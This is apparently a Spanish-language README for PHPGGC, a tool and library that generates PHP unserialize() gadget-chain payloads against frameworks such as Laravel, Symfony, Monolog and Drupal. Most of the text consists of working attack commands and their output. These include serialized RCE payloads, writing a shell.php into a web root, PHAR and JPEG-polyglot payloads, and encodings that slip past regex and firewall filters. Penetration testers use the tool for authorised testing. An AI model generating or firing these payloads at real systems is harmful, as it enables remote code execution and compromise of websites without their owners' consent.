
PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
PHPGGC es una librería de payloads de unserialize() junto con una herramienta para generarlos, desde la línea de comandos o programáticamente. Cuando te encuentras con un unserialize en un sitio web del que no tienes el código, o simplemente cuando intentas construir un exploit, esta herramienta te permite generar el payload sin tener que pasar por los tediosos pasos de encontrar gadgets y combinarlos. Puede considerarse el equivalente de frohoff's ysoserial, pero para PHP. Actualmente, la herramienta soporta cadenas de gadget como: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii y ZendFramework.
Se requiere PHP >= 5.6 para ejecutar PHPGGC.
Ejecuta ./phpggc -l para obtener una lista de cadenas de gadget:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtrar cadenas de gadget:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Cada cadena de gadget tiene:
__destruct(), __toString(), offsetGet(), ...)Usa -i para obtener información detallada sobre una cadena:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Para los gadgets RCE, el comando ejecutado puede tener 3 tipos de formato dependiendo de cómo funcione el gadget:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idUna vez que hayas seleccionado una cadena, ejecuta ./phpggc <gadget-chain> [parámetros] para obtener el payload.
Por ejemplo, para obtener un payload para Monolog, harías:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Para una escritura de archivo usando SwiftMailer, harías:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
La opción --wrapper (-w) te permite definir un archivo PHP que contenga las siguientes funciones:
process_parameters(array $parameters): Se llama justo antes de generate(), permite cambiar los parámetrosprocess_object(object $object): Se llama justo antes de serialize(), permite cambiar el objetoprocess_serialized(string $serialized): Se llama justo después de serialize(), permite cambiar la cadena serializadaPor ejemplo, si el código vulnerable se ve así:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Podrías usar una cadena __toString(), envolviéndola de la siguiente manera:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
Y llamarías a phpggc de la siguiente manera:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
En BlackHat US 2018, @s_n_t lanzó PHARGGC, un fork de PHPGGC que en lugar de construir un payload serializado, construye un archivo PHAR completo. Este archivo PHAR contiene datos serializados y, como tal, puede usarse para varias técnicas de explotación (file_exists, fopen, etc.). El paper está aquí.
Los archivos PHAR vienen en tres formatos diferentes: PHAR, TAR y ZIP. Los tres son soportados por PHPGGC.
Los archivos políglota se pueden generar usando --phar-jpeg (-pj). Hay otras opciones disponibles (usa -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
Los argumentos permiten modificar la forma en que se genera el payload. Por ejemplo, -u lo codificará como URL, y -b lo convertirá a base64.
Los payloads a menudo contienen bytes NULL y no se pueden copiar/pegar tal cual. Usa -s para una codificación URL suave, que mantiene el payload legible.
Los codificadores pueden encadenarse y, por lo tanto, el orden es importante. Por ejemplo, ./phpggc -b -u -u slim/rce1 system id codificará el payload en base64 y luego lo codificará como URL dos veces.
PHPGGC implementa un flag --fast-destruct (-f), que se asegura de que tu objeto serializado sea destruido justo después de la llamada a unserialize(), y no al final del script. Recomiendo usarlo para cada vector __destruct, ya que mejora la fiabilidad. Por ejemplo, si el script PHP lanza una excepción después de la llamada, el método __destruct de tu objeto podría no ser llamado. Como se procesa al mismo tiempo que los codificadores, debe establecerse primero.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
Usa el formato de serialización S en lugar del estándar s. Esto reemplaza cada carácter no ASCII a una representación hexadecimal:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
Esto puede ser útil cuando por alguna razón no se permiten caracteres no ASCII (por ejemplo, bytes NULL). Dado que los payloads generalmente los contienen, esto asegura que el payload consista solo en valores ASCII.
Nota: esto es experimental y podría no funcionar en algunos casos.
Usa el formato de serialización S en lugar del estándar s. Esto reemplaza cada carácter por una representación hexadecimal:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
Esto es útil cuando un firewall o el código PHP bloquea cadenas.
Nota: esto es experimental y podría no funcionar en algunos casos.
Nota: esto hace que cada cadena en el payload crezca por un factor de 3.
A veces, los scripts PHP verifican que el payload serializado dado no contenga objetos usando una regex como /O:[0-9]+:. Esto se evade fácilmente usando O:+123:... en lugar de O:123:. Se puede usar --plus-numbers <types>, o -n <types>, para añadir automáticamente estos signos + delante de los símbolos.
Por ejemplo, para ofuscar objetos y cadenas, se puede usar: --n Os. Ten en cuenta que desde PHP 7.2, solo los tipos i y d (float) pueden tener un +.
Intenta convertir las referencias a propiedades protegidas o privadas dentro del payload serializado a públicas. Esto puede ser útil porque cuando PHP serializa una propiedad no pública de un objeto, antepone al nombre de la propiedad un asterisco (para protegidas) o el nombre de la clase (para privadas) rodeado de bytes NULL, que son fáciles de perder si el payload se transmite o almacena como texto plano sin codificación. Si eso ocurre, el payload fallará al deserializar porque la longitud de la cadena del nombre de la propiedad (y el nombre en sí) será incorrecta. Como beneficio adicional, los payloads son ligeramente más pequeños sin los prefijos. Convertir propiedades a públicas tiende a funcionar en versiones más recientes de PHP, pero puede causar problemas en versiones antiguas (anteriores a PHP 7.2). Esta funcionalidad puede no funcionar correctamente si una cadena incluye uno o más objetos que tengan una implementación personalizada de serialize / unserialize.
Para probar si la cadena de gadget que quieres usar funciona en el entorno objetivo, ve a la carpeta de tu entorno y ejecuta la cadena sin argumentos, con la opción --test-payload.
Por ejemplo, para probar si Monolog/RCE2 funciona en Symfony 4.x:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
El código de salida será 0 si el payload se disparó, 1 en caso contrario.
Si deseas saber contra qué versiones de un paquete funciona una cadena de gadget, puedes usar test-gc-compatibility.py.
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
Puedes especificar las versiones que quieres probar usando la siguiente sintaxis.
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
En lugar de usar PHPGGC como herramienta de línea de comandos, puedes programar scripts PHP:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
Esto te permite ajustar los parámetros o escribir exploits más fácilmente. Nota: Esto es bastante experimental por ahora, así que por favor, reporta los bugs.
Los pull requests son más que bienvenidos. Por favor, sigue estas sencillas pautas:
__destruct() es siempre el mejor vector{ van en una nueva línea, y los arrays deben escribirse como [1, 2, 3] en lugar de la notación antigua array(1, 2, 3).En cuanto al código, la estructura de directorios es bastante sencilla: los gadgets en gadgets.php, la descripción + lógica en chain.php. Puedes definir métodos de pre- y post-procesamiento, si los parámetros necesitan ser modificados. Con suerte, los gadgets ya implementados deberían ser suficientes para que construyas los tuyos. De lo contrario, estaré encantado de responder tus preguntas.
Por favor, prueba tantas versiones como puedas. La nomenclatura para las versiones es la siguiente: [-]<lower-version> <= <higher-version>[+]. Los signos - y + indican que tu payload puede funcionar en versiones inferiores y superiores, respectivamente. Por ejemplo, si tu cadena de gadget funciona desde la versión 2.0.0 hasta la versión 4.4.1, que es la última versión en ese momento, usa 2.0.0 <= 4.4.1+.
La opción de línea de comandos --new <framework> <type> se puede usar para crear la estructura de directorios y archivos para una nueva cadena de gadget.
Por ejemplo, usar ./phpggc -n Drupal RCE crearía una nueva gadgetchain Drupal RCE.
Si no quieres instalar PHP, puedes construir una imagen docker usando:
$ docker build . -t 'phpggc'
Luego puedes usar el phpggc dockerizado.
$ docker run phpggc Monolog/rce1 'system' 'id'
Ve a la carpeta de tu entorno y ejecuta la cadena sin argumentos, con la opción --test-payload:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
Nota: El comando debe ejecutarse en el directorio donde se encuentra la imagen de entrada.
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘